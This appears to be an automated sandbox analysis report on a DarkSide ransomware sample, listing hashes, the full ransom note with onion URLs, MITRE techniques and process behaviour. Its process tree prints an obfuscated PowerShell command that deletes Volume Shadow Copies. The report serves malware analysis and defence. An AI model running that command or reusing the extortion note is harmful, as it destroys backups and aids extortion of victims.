darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27/01/2024, 19:37

240127-yb5pksafd3 10

27/01/2024, 19:36

240127-ybqwesafc2 10

12/05/2021, 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27/01/2024, 19:36

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Report Analysis Logs

General

Target

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Size

226KB
MD5

c81dae5c67fb72a2c2f24b178aea50b7
SHA1

4bd6437cd1dc77097a7951466531674f80c866c6
SHA256

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a
SHA512

30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c
SSDEEP

6144:UQyTTOip6TGcWnsmx7KbYrBPIJqcKxxY1:E3gGcWnNJIJqDxxY

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.e1ae59a5.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (150) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
2676	powershell.exe
2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSecurityPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeTakeOwnershipPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeLoadDriverPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemProfilePrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemtimePrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeProfSingleProcessPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeIncBasePriorityPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeCreatePagefilePrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeBackupPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRestorePrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeShutdownPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemEnvironmentPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRemoteShutdownPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeUndockPrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeManageVolumePrivilege	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 33	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 34	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 35	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeBackupPrivilege	3004	vssvc.exe
Token: SeRestorePrivilege	3004	vssvc.exe
Token: SeAuditPrivilege	3004	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 2676	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	28
PID 2196 wrote to memory of 2676	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	28
PID 2196 wrote to memory of 2676	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	28
PID 2196 wrote to memory of 2676	2196	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	28

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
"C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
262d257080d435203af9b3c687ee1e51

SHA1
bf563862af895ab91aff15a38a380ddf506726f6

SHA256
62064b0cc787572c006dae3d00e24ef45b0297537c939d20c04f141000dfa9ce

SHA512
1e76e0f1672f81c8ab0eb4fe76302355c5c077ace3ab3cb4c893b03a0ae8fb4de57fab27db1361465917282864b29b6bff99de4d9aa06dd00785ed60383ef141

Download Submit
C:\Users\README.e1ae59a5.TXT

Filesize
2KB

MD5
25d0b19a0ec34a39dfa3e177866f01a3

SHA1
a3704d1f6499738ccd694bdd6008a850c6b2e453

SHA256
f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

SHA512
ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

Download Submit
memory/2196-7-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/2196-4-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/2196-6-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/2196-5-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/2196-1-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/2196-8-0x0000000000290000-0x00000000002CC000-memory.dmp

Filesize
240KB

Download
memory/2196-9-0x0000000000200000-0x0000000000201000-memory.dmp

Filesize
4KB

Download
memory/2196-228-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/2196-0-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/2196-227-0x0000000000290000-0x00000000002CC000-memory.dmp

Filesize
240KB

Download
memory/2196-218-0x0000000000400000-0x0000000000427000-memory.dmp

Filesize
156KB

Download
memory/2196-2-0x0000000000290000-0x00000000002CC000-memory.dmp

Filesize
240KB

Download
memory/2676-15-0x0000000002300000-0x0000000002308000-memory.dmp

Filesize
32KB

Download
memory/2676-20-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-21-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2676-22-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-19-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2676-18-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2676-17-0x00000000029A0000-0x0000000002A20000-memory.dmp

Filesize
512KB

Download
memory/2676-16-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-14-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

Filesize
2.9MB

Download